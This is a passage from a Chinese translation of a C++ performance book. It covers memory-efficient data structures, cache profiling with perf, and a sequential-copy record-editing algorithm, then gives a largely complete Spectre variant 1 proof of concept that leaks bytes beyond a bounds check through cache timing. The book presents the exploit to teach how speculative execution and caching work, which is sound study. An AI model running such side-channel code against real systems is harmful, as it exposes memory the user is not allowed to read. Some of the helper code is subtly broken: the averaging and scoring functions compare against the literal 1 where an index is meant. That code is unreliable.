如果算法中存在数据访问模式变化的点,通常有利于在该点更改数据结构,即使需要复制一些内存。例如,我们可以构建一个列表,并在添加最后一个元素后,将其复制到数组中以实现更快的顺序访问(假设我们不需要再添加任何元素)。如果我们可以确定某部分数据是完整的,我们可以将该部分转换为数组,可能是块分配数组中的一个或多个块,并将仍然可变的数据留在列表或树数据结构中。另一方面,如果我们很少需要按排序顺序处理数据,或者需要以多种顺序处理数据,那么将顺序与存储分离通常是最佳解决方案。数据存储在向量或双端队列中,并且顺序是通过按所需顺序排序的指针数组施加的。由于所有有序数据访问现在是间接的(通过中间指针),只有在这种访问很少的情况下才是有效的,大部分时间,我们可以按照数组中存储的顺序处理数据。
关键是,如果我们经常访问某些数据,我们应该选择使该特定访问模式最佳的数据结构。如果访问模式随时间变化,数据结构也应该随之变化。另一方面,如果我们不花太多时间访问数据,那么从一种数据排列转换到另一种排列的开销可能无法证明是合理的。然而,在这种情况下,低效的数据访问本来就不应该是一个问题。这带我们来到下一个问题:我们如何找出哪些数据访问效率低,更一般地说,哪些数据访问成本高?
性能分析内存
通常,特定数据结构或数据组织的效率是相当明显的。例如,如果我们有一个包含数组或向量的类,并且这个类的接口只允许一种数据访问方式,即从开始到结束的顺序迭代(在 STL 语言中为前向迭代器),那么我们可以相当肯定地说,数据在内存级别上被访问得尽可能高效。我们无法确定算法的效率:例如,在数组中进行特定元素的线性搜索是非常低效的(每次内存读取当然是高效的,但读取次数很多;我们知道更好的数据组织方式来进行搜索)。
仅仅知道哪些数据结构在内存上是高效的是不够的:我们还需要知道程序在特定数据集上花费了多少时间。有时,这是不言自明的,尤其是在良好的封装下。如果我们有一个函数,在概况或时间报告中花费了很多时间,而函数内的代码并不特别繁重,但移动了大量数据,那么提高对这些数据的访问效率很可能会改善整体性能。
不幸的是,这是比较容易的情况,因此首先进行了优化。然后我们到了一个没有单个函数或代码片段在执行时间上突出的程度,但程序仍然效率低下的地步。当你没有热点代码时,很多时候你有热点数据:一个或多个数据结构在整个程序中被访问;在这些数据上花费的累计时间很长,但没有局限在任何函数或循环中。传统的分析无法帮助我们:它会显示运行时间均匀分布在整个程序中,并且优化任何一个代码片段都会带来很少的改进。我们需要的是一种方法来找到整个程序中访问效率低下的数据,并将其累积起来。
仅仅使用时间测量工具很难收集这些信息。然而,使用硬件事件计数器的分析器可以相当容易地收集这些信息。大多数 CPU 可以计算内存访问,更具体地说是缓存命中和未命中。在本章中,我们再次使用perf
分析器;通过它,我们可以使用以下命令来测量 L1 缓存的使用效果:
$ perf stat -e \
cycles,instructions,L1-dcache-load-misses,L1-dcache-loads \
./program
缓存测量计数器不是默认计数器集的一部分,必须显式指定。可用计数器的确切集合因 CPU 而异,但始终可以通过运行perf list
命令查看。在我们的示例中,我们在读取数据时测量 L1 缓存未命中。术语dcache代表数据缓存(发音为dee-cache);CPU 还有一个单独的指令缓存或icache(发音为ay-cache),用于从内存中加载指令。
我们可以使用这个命令行来对我们的内存基准进行分析,以便随机地址读取内存。当内存范围较小,比如 16KB 时,整个数组可以适应 L1 缓存,几乎没有缓存未命中:
图 4.12 - 使用 L1 缓存良好的程序概况
将内存大小增加到 128MB 意味着缓存未命中非常频繁:
图 4.13 - 使用 L1 缓存不佳的程序概况
请注意,perf stat
收集整个程序的总体值,其中一些内存访问是高效的,而另一些则不是。一旦我们知道某个地方的某人处理内存访问不当,我们就可以使用perf record
和perf report
来获取详细的概要,就像第二章中所展示的那样,性能测量(我们在那里使用了不同的计数器,但对于我们选择收集的任何计数器来说,过程都是相同的)。当然,如果我们最初的时间概要未能检测到任何热点代码,那么缓存概要也将显示相同的情况。代码中将有许多位置,其中缓存未命中的比例很高。每个位置对总体执行时间只有很小的贡献,但它们会累积起来。现在轮到我们注意到这些代码位置中的许多位置有一个共同点:它们操作的内存。例如,如果我们看到有几十个不同的函数,它们共同占据了 15%的缓存未命中率,但它们都操作同一个列表,那么列表就是有问题的数据结构,我们必须以其他方式组织我们的数据。
我们现在已经学会了如何检测和识别那些低效的内存访问模式对性能产生负面影响的数据结构,以及一些替代方案。不幸的是,替代的数据结构通常没有相同的特性或性能:如果元素必须在数据结构的生命周期中的任意位置插入,那么列表就不能用向量来替换。通常情况下,不是数据结构本身,而是算法本身需要低效的内存访问。在这种情况下,我们可能需要改变算法。
优化内存性能的算法
算法的内存性能经常被忽视。算法通常是根据它们的算法性能或执行的操作或步骤数量来选择的。内存优化通常需要做出违反直觉的选择:做更多的工作,甚至做一些不必要的工作,以改善内存性能。这里的关键是要用一些计算来换取更快的内存操作。内存操作很慢,所以我们用于额外工作的预算相当大。
更快地使用内存的一种方法是使用更少的内存。这种方法通常会导致重新计算一些本来可以存储和从内存中检索的值。在最坏的情况下,如果这种检索导致随机访问,那么读取每个值将需要几个纳秒(在我们的测量中为 7 纳秒)。如果重新计算该值所需的时间少于这个时间,而且当转换为 CPU 可以执行的操作数量时,7 纳秒是相当长的时间,那么我们最好不要存储这些值。这是空间与内存的传统权衡。
这种优化的一个有趣变体是:我们不仅仅是使用更少的内存,而是尝试在任何给定时间使用更少的内存。这里的想法是尝试将当前的工作数据集适应到其中一个缓存中,比如 L2 缓存,并在移动到数据的下一部分之前尽可能多地对其进行操作。将新的数据集加载到缓存中会导致每个内存地址都发生缓存未命中,根据定义。但是最好是接受那一次缓存未命中,然后在一段时间内有效地操作数据,而不是一次处理所有数据,然后冒险每次需要这个数据元素时都发生缓存未命中。
在本章中,我将向您展示一种更有趣的技术,我们通过更多的内存访问来节省一些其他内存访问。这里的权衡是不同的:我们希望减少慢速的随机访问,但我们要付出的代价是增加快速的顺序访问。由于顺序内存流大约比随机访问快一个数量级,我们再次有一个可观的预算来支付我们必须做的额外工作,以减少慢速内存访问。
演示需要一个更复杂的例子。假设我们有一组数据记录,比如字符串,程序需要对其中一些记录应用一组变更。然后我们得到另一组变更,依此类推。每个集合都会对一些记录进行更改,而其他记录保持不变。这些变更通常会改变记录的大小以及内容。每个集合中被更改的记录子集是完全随机和不可预测的。下面是一个显示这一点的图表:
图 4.14 - 记录编辑问题。在每个变更集中,用*标记的记录被编辑,其余保持不变
解决这个问题最直接的方法是将记录存储在它们自己的内存分配中,并将它们组织在一些数据结构中,允许每个记录被新记录替换(旧记录被释放,因为新记录通常大小不同)。数据结构可以是树(在 C++中设置)或列表。为了使示例更具体,让我们使用字符串作为记录。我们还必须更具体地说明变更集的指定方式。让我们说它不指向需要更改的特定记录;相反,对于任何记录,我们可以说它是否需要更改。这样的字符串变更集的最简单示例是一组查找和替换模式。现在我们可以勾画出我们的实现:
std::list<std::string> data;
… initialize the records …
for (auto it = data.begin(), it0 = --data.end(), it1 = it;
true; it = it1) {
it1 = it;
++it1;
const bool done = it == it0;
if (must_change(*it)) {
std::string new_str = change(*it);
data.insert(it, new_str);
data.erase(it);
}
if (done) break;
}
在每个变更集中,我们遍历整个记录集合,确定记录是否需要更改,如果需要,就这样做(变更集隐藏在函数must_change()
和change()
中)。代码只显示了一个变更集,所以我们会根据需要运行这个循环多次。
这种算法的弱点在于我们使用了一个列表,更糟糕的是,我们不断地在内存中移动字符串。对新字符串的每次访问都会导致缓存未命中。现在,如果字符串非常长,那么初始的缓存未命中并不重要,剩下的字符串可以使用快速的顺序访问来读取。结果类似于我们之前看到的块分配数组,内存性能良好。但是如果字符串很短,整个字符串可能会在单个加载操作中被读取,而每次加载都是在随机地址上进行的。
我们的整个算法只是在随机地址上进行加载和存储。正如我们所见,这几乎是访问内存的最糟糕方式。但是我们还能做什么呢?我们不能将字符串存储在一个巨大的数组中:如果数组中间的一个字符串需要增长,那么内存从哪里来呢?就在那个字符串之后是下一个字符串,所以没有空间可以增长。
提出替代方案需要进行范式转变。执行所需操作的算法按照指定的方式也对内存组织施加了限制:更改记录需要在内存中移动它们,只要我们希望能够更改任何一条记录而不影响其他任何内容,我们就无法避免记录在内存中的随机分布。我们必须侧面解决问题,并从限制开始。我们真的希望按顺序访问所有记录。在这种约束下,我们能做些什么?我们可以非常快速地读取所有记录。我们可以决定记录是否必须更改;这一步与以前相同。但是如果记录必须增长,我们该怎么办?我们必须将其移动到其他地方,没有足够的空间来增长。但我们同意记录将保持按顺序分配,一个接一个。然后前一条记录和下一条记录也必须移动,以便它们仍然存储在我们新记录的前后。这是替代算法的关键:所有记录在每个更改集中都会移动,无论它们是否被更改。现在我们可以将所有记录存储在一个巨大的连续缓冲区中(假设我们知道总记录大小的上限):
图 4.15 – 顺序处理所有记录
在复制过程中,算法需要分配相同大小的第二个缓冲区,因此峰值内存消耗是数据大小的两倍:
char* buffer = get_huge_buffer();
… initialize N records …
char* new_buffer = get_huge_buffer();
const char* s = buffer;
char* s1 = new_buffer;
for (size_t i = 0; i < N; ++i) {
if (must_change(s)) {
s1 = change(s, s1);
} else {
const size_t ls = strlen(s) + 1;
memcpy(s1, s, ls);
s1 += ls;
}
s += ls;
}
release(buffer);
buffer = new_buffer;
在每个更改集中,我们将每个字符串(记录)从旧缓冲区复制到新缓冲区。如果记录需要更改,新版本将被写入新缓冲区。否则,原始记录将被简单复制。随着每个新的更改集,我们将创建一个新的缓冲区,并在操作结束时释放旧缓冲区(实际实现将避免重复调用分配和释放内存,并简单地交换两个缓冲区)。
这种实现的明显缺点是使用了巨大的缓冲区:我们必须在选择其大小时持悲观态度,以便为可能遇到的最大记录分配足够的内存。峰值内存大小的翻倍也令人担忧。我们可以通过将这种方法与我们之前看到的可增长数组数据结构相结合来解决这个问题。我们可以将记录存储在一系列固定大小的块中,而不是分配一个连续的缓冲区:
图 4.16 – 使用块缓冲区编辑记录
为了简化图表,我们绘制了相同大小的所有记录,但这个限制并非必要:记录可以跨越多个块(我们将块视为连续的字节序列,仅此而已)。在编辑记录时,我们需要为编辑后的记录分配一个新的块。一旦编辑完成,包含旧记录的块(或块)就可以被释放;我们不必等待整个缓冲区被读取。但我们甚至可以做得更好:我们可以将最近释放的块放回空块列表,而不是将其返回给操作系统。我们即将编辑下一条记录,我们将需要一个空的新块来存放结果。我们碰巧有一个:它就是曾经包含我们上次编辑的最后一条记录的块;它位于我们最近释放的块列表的开头,并且最重要的是,该块是我们最后访问的内存,因此它很可能仍然在缓存中!
乍一看,这个算法似乎是一个非常糟糕的主意:我们每次都要复制所有记录。但让我们仔细分析这两种算法。首先,阅读的数量是相同的:两种算法都必须读取每个字符串以确定是否必须更改。第二种算法在性能上已经领先:它在单个顺序扫描中读取所有数据,而第一种算法则在内存中跳来跳去。如果字符串被编辑,那么两种算法都必须将新字符串写入新的内存区域。第二种算法再次领先,因为它的内存访问模式是顺序的(而且它不需要为每个字符串进行内存分配)。权衡出现在字符串未被编辑时。第一种算法什么都不做;第二种算法进行复制。
通过这种分析,我们可以定义每种算法的优劣情况。如果字符串很短,并且每次更改集中有大部分字符串被更改,顺序访问算法会获胜。如果字符串很长,或者很少有字符串被更改,随机访问算法会获胜。然而,确定什么是长以及有多少是大部分的唯一方法是进行测量。
我们必须测量性能并不一定意味着您必须始终编写完整程序的两个版本。我们经常可以在操作简化数据的小模拟程序中模拟行为的特定方面。我们只需要知道记录的大致大小,更改了多少个记录,以及更改单个记录的代码,以便我们可以测量内存访问对性能的影响(如果每次更改都非常耗时,那么读取或写入记录需要多长时间就无关紧要了)。有了这样的模拟或原型实现,我们可以进行近似测量并做出正确的设计决策。
那么,在现实生活中,顺序字符串复制算法是否值得呢?我们已经对编辑中等长度字符串(128 字节)使用正则表达式模式进行了测试。如果每个更改集中有 99%的字符串都被编辑,那么顺序算法大约比随机算法快四倍(结果可能会与机器有关,因此必须在与您期望使用的硬件类似的硬件上进行测量)。如果 50%的记录都被编辑,顺序访问仍然更快,但只快约 12%(这可能在不同型号的 CPU 和内存类型之间的差异范围内,因此我们称之为平局)。更令人惊讶的结果是,如果只有 1%的记录被更改,那么两种算法的速度几乎相当:不进行随机读取所节省的时间可以弥补几乎完全不必要的复制的成本。
对于较长的字符串,如果很少更改字符串,随机访问算法会轻松获胜,对于非常长的字符串,即使所有字符串都更改,它也是平局:两种算法都按顺序读取和写入所有字符串(对长字符串的随机访问增加的时间可以忽略不计)。
现在我们已经拥有了确定我们的应用程序更好算法的一切所需。这通常是性能设计的方式:我们确定了性能问题的根源,想出了消除问题的方法,以代价做其他事情,然后我们必须拼凑出一个原型,让我们能够测量聪明的技巧是否真的值得。
在结束本章之前,我想向您展示缓存和其他硬件提供的性能改进的完全不同的“用法”。
机器中的幽灵
在过去的两章中,我们已经了解到,在现代计算机上,从初始数据到最终结果的路径有多么复杂。有时,机器确实按照代码规定的方式执行:从内存中读取数据,按照指令进行计算,将结果保存回内存。然而,更常见的情况是,它经历了一些我们甚至不知道的奇怪中间状态。从内存中读取并不总是从内存中读取:CPU 可能决定执行其他东西,因为它认为你会需要它,等等。我们已经尝试通过直接性能测量来确认所有这些事情确实存在。出于必要,这些测量总是间接的:硬件优化和代码转换旨在提供正确的结果,毕竟只是更快。
在本节中,我们展示了更多本来应该隐藏的硬件操作的可观察证据。这是一个重大发现:2018 年的发现引发了一场短暂的网络安全恐慌,并导致硬件和软件供应商发布了大量补丁。当然,我们谈论的是 Spectre 和 Meltdown 安全漏洞家族。
什么是 Spectre?
在本节中,我们将详细演示 Spectre 攻击的早期版本,即 Spectre 版本 1。这不是一本关于网络安全的书;然而,Spectre 攻击是通过仔细测量程序的性能来执行的,并且依赖于我们在本书中学习的两种性能增强硬件技术:推测执行和内存缓存。这使得攻击在致力于软件性能的工作中具有教育意义。
Spectre 背后的想法是这样的。我们早些时候已经了解到,当 CPU 遇到条件跳转指令时,它会尝试预测结果,并继续执行假设预测是正确的指令。这被称为推测执行,如果没有它,我们在任何实际有用的代码中都不会有流水线。推测执行的棘手部分是错误处理:在推测执行的代码中经常发生错误,但在预测被证明正确之前,这些错误必须保持不可见。最明显的例子是空指针解引用:如果处理器预测指针不为空并执行相应的分支,那么每次分支被错误预测并且指针实际上为空时,都会发生致命错误。由于代码被正确编写以避免对空指针进行解引用,它也必须正确执行:潜在错误必须保持潜在。另一个常见的推测性错误是数组边界读取或写入:
int a[N];
…
if (i < N) a[i] = …
如果索引i
通常小于数组大小N
,那么这将成为预测,并且每次都会执行对a[i]
的读取,具有推测性。如果预测错误会发生什么?结果被丢弃,所以没有造成伤害,对吧?不要那么快:内存位置a[i]
不在原始数组中。它甚至不必是数组右后面的元素。索引可以任意大,因此索引的内存位置可能属于不同的程序,甚至属于操作系统。我们没有访问权限来读取这个内存。操作系统确实执行访问控制,因此通常尝试从另一个程序读取一些内存会触发错误。但这次,我们并不确定错误是否真实:执行仍处于推测阶段,分支预测可能是错误的。在我们知道预测是否正确之前,错误仍然是推测性错误。到目前为止,这里没有什么新鲜的;我们早就见过这一切。
然而,对于潜在的非法读取操作存在一个微妙的副作用:值a[i]
被加载到缓存中。下次我们尝试从相同位置读取时,读取速度会更快。无论读取是真实的还是推测的,内存操作在推测执行期间的工作方式与真实操作一样。从主内存读取需要更长的时间,而从缓存读取则更快。内存加载的速度是我们可以观察和测量的。这不是程序的预期结果,但仍然是一个可测量的副作用。实际上,程序通过意外的方式具有了额外的输出机制;这被称为侧信道。
Spectre 攻击利用了这个侧信道:
图 4.17 – 设置 Spectre 攻击
它使用在推测执行期间获得的位置a[i]
的值来索引另一个数组t
。完成后,一个数组元素t[a[i]]
将被加载到缓存中。数组t
的其余部分从未被访问过,仍然在内存中。请注意,与元素a[i]
不同,后者实际上不是数组a
的元素,而是我们无法通过任何合法手段到达的内存位置的某个值,数组t
完全在我们的控制范围内。攻击的成功与否取决于分支保持足够长时间的不可预测性,同时我们读取值a[i]
和值t[a[i]]
。否则,一旦 CPU 检测到分支被错误预测,并且实际上不需要任何这些内存访问,推测执行将立即结束。推测执行完成后,最终会检测到错误预测,并且将回滚推测操作的所有后果,包括将要发生的内存访问错误。除了一个后果:数组t[a[i]]
的值仍然在缓存中。这本身并没有问题:访问这个值是合法的,我们可以随时这样做,而且无论如何,硬件一直在缓存之间移动数据;它从不改变结果,也不会让你访问任何你不应该访问的内存。
然而,这整个系列事件的一个可观察的后果是:数组t
的一个元素比其余元素访问速度要快得多:
图 4.18 – Spectre 攻击后的内存和缓存状态
如果我们可以测量读取数组t
的每个元素所需的时间,我们就可以找出由值a[i]
索引的那个元素;这就是我们本不应该知道的秘密值!
Spectre by example
Spectre 攻击需要几个部分来组合;我们将逐一介绍它们,因为总的来说,这对于一本书来说是一个相当大的编码示例(这个特定的实现是根据 2018 年 CPPCon 上 Chandler Carruth 给出的示例进行的变体)。
我们需要的一个组件是一个准确的计时器。我们可以尝试使用 C++高分辨率计时器:
using std::chrono::duration_cast;
using std::chrono::nanoseconds;
using std::chrono::high_resolution_clock;
long get_time() {
return duration_cast< nanoseconds>(
high_resolution_clock::now().time_since_epoch()
).count();
}
这个计时器的开销和分辨率取决于实现;标准不要求任何特定的性能保证。在 x86 CPU 上,我们可以尝试使用时间戳计数器(TSC),它是一个硬件计数器,计算自过去某个时间点以来的周期数。使用循环计数作为计时器通常会导致测量结果更加嘈杂,但计时器本身更快,这在这里很重要,因为我们将尝试测量从内存中加载单个值需要多长时间。GCC、Clang 和许多其他编译器都有一个内置函数来访问这个计数器:
long get_time() {
unsigned int i;
return __rdtscp(&i); // GCC/Clang intrinsic function
}
无论如何,我们现在有了一个快速的计时器。下一步是计时数组。实际上,它并不像我们在图中暗示的那样简单,只是一个整数数组:整数在内存中太靠近了;将一个加载到缓存中会影响访问其邻居所需的时间。我们需要将值远远地分开:
constexpr const size_t num_val = 256;
struct timing_element { char s[1024]; };
static timing_element timing_array[num_val];
::memset(timing_array, 1, sizeof(timing_array));
在这里,我们将只使用timing_element
的第一个字节;其余的是为了在内存中强制距离。1024 字节的距离并没有什么神奇之处;它只是足够大,但对于你来说,这是需要通过实验来确定的:如果距离太小,攻击就会变得不可靠。计时数组中有 256 个元素。这是因为我们将逐字节读取秘密内存。因此,在我们之前的例子中,数组a[i]
将是一个字符数组(即使实际的数据类型不是char
,我们仍然可以逐字节读取它)。初始化计时数组在严格意义上来说并不是必要的;没有任何东西依赖于这个数组的内容。
我们现在准备看代码的核心。接下来是一个简化的实现:它缺少一些我们将在后面添加的必要的细节,但通过首先关注关键部分来解释代码会更容易一些。
我们需要的数组是我们将要越界读取的。
size_t size = …;
const char* data = …;
size_t evil_index = …;
这里size
是data
的真实大小,evil_index
大于size
:它是数据数组之外的秘密值的索引。
接下来,我们将训练分支预测器:我们需要它学会更有可能的分支是访问数组的分支。为此,我们生成一个始终指向数组的有效索引(我们马上就会看到确切的方法)。这就是我们的ok_index
:
const size_t ok_index = …; // Less than size
constexpr const size_t n_read = 100;
for (size_t i_read = 0; i_read < n_read; ++i_read) {
const size_t i = (i_read & 0xf) ? ok_index : evil_index;
if (i < size) {
access_memory(timing_array + data[i]);
}
}
然后我们读取位置timing_array + data[i]
处的内存,其中i
要么是ok
索引,要么是evil
索引,但前者发生的频率要比后者高得多(我们尝试读取秘密数据只有 16 次中的一次,以保持分支预测器对成功读取的训练)。请注意,实际的内存访问受到有效的边界检查的保护;这是至关重要的:我们从未真正读取我们不应该读取的内存;这段代码是 100%正确的。
访问内存的函数,在概念上只是一个内存读取。实际上,我们必须应对聪明的优化编译器,它会尝试消除多余或不必要的内存操作。这是一种方法,它使用内在的汇编语言(读取指令实际上是由编译器生成的,因为位置*p
被标记为输入):
void access_memory(const void* p) {
__asm__ __volatile__ ( "" : :
"r"(*static_cast<const uint8_t*>(p)) : "memory" );
}
我们运行预测-误判循环多次(在我们的例子中是100
次)。现在我们期望timing_array
中的一个元素在缓存中,所以我们只需要测量访问每个元素所需的时间。这里的一个注意事项是,顺序访问整个数组是行不通的:预取会迅速启动并将我们即将访问的元素移入缓存。大多数情况下非常有效,但不是我们现在需要的。相反,我们必须以随机顺序访问数组的元素,并将访问每个元素所需的时间存储在内存访问延迟数组中:
std::array<long, num_val> latencies = {};
for (size_t i = 0; i < num_val; ++i) {
const size_t i_rand = (i*167 + 13) & 0xff; // Randomized
const timing_element* const p = timing_array + i_rand;
const long t0 = get_time();
access_memory(p);
latencies[i_rand] = get_time() - t0;
}
你可能会想,为什么不简单地寻找一个快速访问?有两个原因:首先,我们不知道对于任何特定的硬件来说快速到底意味着什么;我们只知道它比正常更快。因此,我们也必须测量什么是正常。其次,任何单独的测量都不会是 100%可靠的:有时,计算会被另一个进程或操作系统中断;整个操作序列的确切时间取决于 CPU 在此时正在做什么,等等。这个过程只是很有可能会揭示秘密内存位置的值,但并不是 100%保证的,所以我们必须尝试多次并平均结果。
在执行此操作之前,我们看到代码中有几个遗漏。首先,它假设定时数组值尚未在缓存中。即使在我们开始时是真的,但在成功窥视第一个秘密字节之后,它也不会是真的。我们必须在攻击下一个要读取的字节之前每次都从缓存中清除定时数组:
for (size_t i = 0; i < num_val; ++i) {
_mm_clflush(timing_array + i); // Un-cache the array
}
再次,我们使用 GCC/Clang 内置函数;大多数编译器都有类似的东西,但函数名称可能会有所不同。
其次,攻击只有在推测执行持续时间足够长,以便在 CPU 弄清楚应该采取哪个分支之前发生两次内存访问(数据和定时数组)时才能生效。实际上,按照现有的代码,推测执行上下文中的时间不够长,因此我们必须使得计算正确分支更加困难。有多种方法可以做到这一点;在这里,我们使分支条件依赖于从内存中读取某个值。我们将数组大小复制到另一个访问速度较慢的变量中:
std::unique_ptr<size_t> data_size(new size_t(size));
现在我们必须确保在我们需要读取它之前将该值从缓存中清除,并使用存储在*data_size
中的数组大小值,而不是原始的size
值:
_mm_clflush(&*data_size);
for (volatile int z = 0; z < 1000; ++z) {} // Delay
const size_t i = (i_read & 0xf) ? ok_index : evil_index;
if (i < *data_size) {
access_memory(timing_array + data[i]);
}
在前面的代码中还有一个神奇的延迟,一些无用的计算将缓存刷新与数据大小的访问分开(它击败了可能的指令重排序,让 CPU 更快地访问数组大小)。现在条件i < *data_size
需要一些时间来计算:CPU 需要在知道结果之前从内存中读取值。分支根据更可能的结果进行预测,即有效索引,因此数组被进行了推测性访问。
幽灵,释放
最后一步是将所有内容汇总并多次运行该过程,以积累统计上可靠的测量数据(鉴于单个指令的定时测量非常嘈杂,因为计时器本身所需的时间大约与我们试图测量的时间一样长)。
以下函数攻击数据数组之外的单个字节:
char spectre_attack(const char* data,
size_t size, size_t evil_index) {
constexpr const size_t num_val = 256;
struct timing_element { char s[1024]; };
static timing_element timing_array[num_val];
::memset(timing_array, 1, sizeof(timing_array));
std::array<long, num_val> latencies = {};
std::array<int, num_val> scores = {};
size_t i1 = 0, i2 = 0; // Two highest scores
std::unique_ptr<size_t> data_size(new size_t(size));
constexpr const size_t n_iter = 1000;
for (size_t i_iter = 0; i_iter < n_iter; ++i_iter) {
for (size_t i = 0; i < num_val; ++i) {
_mm_clflush(timing_array + i); // Un-cache the array
}
const size_t ok_index = i_iter % size;
constexpr const size_t n_read = 100;
for (size_t i_read = 0; i_read < n_read; ++i_read) {
_mm_clflush(&*data_size);
for (volatile int z = 0; z < 1000; ++z) {} // Delay
const size_t i = (i_read & 0xf) ? ok_index :
evil_index;
if (i < *data_size) {
access_memory(timing_array + data[i]);
}
}
for (size_t i = 0; i < num_val; ++i) {
const size_t i_rand = (i*167 + 13) & 0xff;
// Randomized
const timing_element* const p = timing_array +
i_rand;
const long t0 = get_time();
access_memory(p);
latencies[i_rand] = get_time() - t0;
}
score_latencies(latencies, scores, ok_index);
std::tie(i1, i2) = best_scores(scores);
constexpr const int threshold1 = 2, threshold2 = 100;
if (scores[i1] >
scores[i2]*threshold1 + threshold2) return i1;
}
return i1;
}
对于定时数组的每个元素,我们将计算一个分数,即该元素成为最快访问的次数。我们还跟踪第二快的元素,它应该只是常规的、访问速度较慢的数组元素之一。我们会进行多次迭代:理想情况下,直到获得结果,但实际上,我们必须在某个时候放弃。
一旦最佳分数和次佳分数之间出现足够大的差距,我们就知道我们已经可靠地检测到了定时数组的快元素,即由secret字节的值索引的元素(如果我们在达到最大迭代次数之前没有得到可靠的答案,攻击就失败了,尽管我们可以尝试使用到目前为止最好的猜测)。
我们有两个实用函数来计算延迟的平均分数并找到两个最佳分数;只要它们能给出正确的结果,可以按任何方式实现。第一个函数计算平均延迟并增加具有略低于平均延迟的时间元素的分数(略低的阈值必须经过实验调整,但不太敏感)。请注意,我们希望一个数组元素的访问速度明显更快,因此在计算平均延迟时可以跳过它(理想情况下,该元素的延迟应比其余元素低得多,其余元素的延迟应该都相同):
template <typename T>
double average(const T& a, size_t skip_index) {
double res = 0;
for (size_t i = 0; i < a.size(); ++i) {
if (1 != skip_index) res += a[i];
}
return res/a.size();
}
template <typename L, typename S>
void score_latencies(const L& latencies, S& scores,
size_t ok_index) {
const double average_latency =
average(latencies, ok_index);
constexpr const double latency_threshold = 0.5;
for (size_t i = 0; i < latencies.size(); ++i) {
if (ok_index != 1 && latencies[i] <
average_latency*latency_threshold) ++scores[i];
}
}
第二个函数只是在数组中找到两个最佳分数:
template<typename S>
std::pair<size_t, size_t> best_scores(const S& scores) {
size_t i1 = -1, i2 = -1;
for (size_t i = 0; i < scores.size(); ++i) {
if (scores[i] > scores[i1]) {
i2 = i1;
i1 = i;
} else
if (i != i1 && scores[i] > scores[i2]) {
i2 = i;
}
}
return { i1, i2 };
}
现在我们有一个函数,它返回指定数组之外的单个字节的值,而不是直接读取这个字节。我们准备使用它来访问一些秘密数据!为了演示,我们将分配一个非常大的数组,但通过指定一个小值作为数组大小,大部分数组都被禁止访问。实际上,这是你今天可以演示这种攻击的唯一方式:自发现以来,大多数计算机已经修补了 Spectre 漏洞,因此,除非你有一台隐藏在山洞中并且几年没有更新的机器,否则这种攻击不会对你真正不允许访问的任何内存起作用。这些补丁并不会阻止你使用 Spectre 攻击你被允许访问的任何数据,但你必须检查代码并证明它确实返回值而不是直接访问内存。这就是我们要做的:我们的spectre_attack
函数不会读取指定大小的数据数组之外的任何内存,因此我们可以创建一个大小是指定大小两倍的数组,并将秘密消息隐藏在上半部分。
int main() {
constexpr const size_t size = 4096;
char* const data = new char[2*size];
strcpy(data, "Innocuous data");
strcpy(data + size, "Top-secret information");
for (size_t i = 0; i < size; ++i) {
const char c =
spectre_attack(data, strlen(data) + 1, size +
i);
std::cout << c << std::flush;
if (!c) break;
}
std::cout << std::endl;
delete [] data;
}
再次检查我们给spectre_attack
函数的值:数组的大小只是存储在数组中的字符串的长度;代码除了在推测执行上下文中以外,不会访问任何其他内存。所有内存访问都受到正确的边界检查的保护。然而,这个程序逐字节地揭示了第二个字符串的内容,而这个字符串从未被直接读取。
总之,我们利用了推测执行上下文来窥视我们不允许访问的内存。因为访问该内存的分支条件是正确的,所以无效访问错误仍然是一个潜在错误;它实际上从未发生过。所有错误预测分支的结果都被撤消,除了一个:被访问的值仍然留在缓存中,因此对相同值的下一次访问会更快。通过仔细测量内存访问时间,我们可以弄清楚那个值是什么!为什么我们这样做,当我们关心的是性能,而不是黑客行为?主要是为了确认处理器和内存确实按照我们描述的方式运行:推测执行确实发生,缓存确实起作用并使数据访问更快。
总结
在本章中,我们学习了内存系统的工作原理:简而言之,缓慢。CPU 和内存性能的差异造成了内存差距,快速的 CPU 受到内存性能低下的限制。但内存差距中也蕴含着潜在解决方案的种子:我们可以用多个 CPU 操作来交换一个内存访问。
我们还进一步了解到,内存系统非常复杂和分层,并且它没有单一的速度。如果最终陷入最坏情况,这可能会严重影响程序的性能。但是,再次强调,关键是将其视为一种机会而不是负担:优化内存访问所带来的收益可能会远远超过开销。
正如我们所看到的,硬件本身提供了几种工具来改善内存性能。除此之外,我们必须选择内存高效的数据结构,如果仅靠这一点还不够,还要选择内存高效的算法来提高性能。和往常一样,所有性能决策都必须受到测量的指导和支持。
到目前为止,我们所做的和测量的一切都是使用单个 CPU。实际上,自介绍的前几页以来,我们几乎没有提到今天几乎每台计算机都有多个 CPU 核心,通常还有多个物理处理器。这样做的原因非常简单:我们必须学会有效地使用单个 CPU,然后才能转向更复杂的多 CPU 问题。从下一章开始,我们将把注意力转向并发问题,以及如何有效地使用大型多核和多处理器系统。
问题
-
什么是内存差距?
-
哪些因素影响了观察到的内存速度?
-
我们如何找到程序中访问内存是性能不佳的主要原因的地方?
-
有哪些主要的优化程序以获得更好的内存性能的方法?
第五章:线程、内存和并发性
到目前为止,我们已经研究了单个 CPU 执行一个程序,一个指令序列的性能。在第一章的介绍中,性能和并发性简介,我们提到这不再是我们生活的世界,然后再也没有涉及这个主题。相反,我们研究了单线程程序在单个 CPU 上运行的性能的每个方面。现在我们已经学会了关于单个线程性能的所有知识,并准备好研究并发程序的性能。
在本章中,我们将涵盖以下主要主题:
-
线程概述
-
多线程和多核内存访问
-
数据竞争和内存访问同步
-
锁和原子操作
-
内存模型
-
内存顺序和内存屏障
技术要求
同样,您将需要一个 C++编译器和一个微基准测试工具,比如我们在上一章中使用的 Google Benchmark 库(在github.com/google/benchmark
找到)。
本章的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter05
找到。
理解线程和并发性
今天所有高性能计算机都有多个 CPU 或多个 CPU 核心(单个封装中的独立处理器)。即使大多数笔记本电脑也至少有两个,通常是四个核心。正如我们多次提到的,在性能方面,效率就是不让任何硬件空闲;如果程序只使用了计算能力的一部分,比如多个 CPU 核心中的一个,那么它就不能高效或高性能。程序要同时使用多个处理器的唯一方法是:我们必须运行多个线程或进程。顺便说一句,这并不是利用多个处理器为用户带来好处的唯一方法:例如,很少有笔记本电脑用于高性能计算。相反,它们使用多个 CPU 来更好地同时运行不同和独立的程序。这是一个完全合理的使用模式,只是不是我们在高性能计算的背景下感兴趣的。HPC 系统通常一次在每台计算机上运行一个程序,甚至在分布式计算的情况下,一次在许多计算机上运行一个程序。一个程序如何使用多个 CPU?通常,程序运行多个线程。
什么是线程?
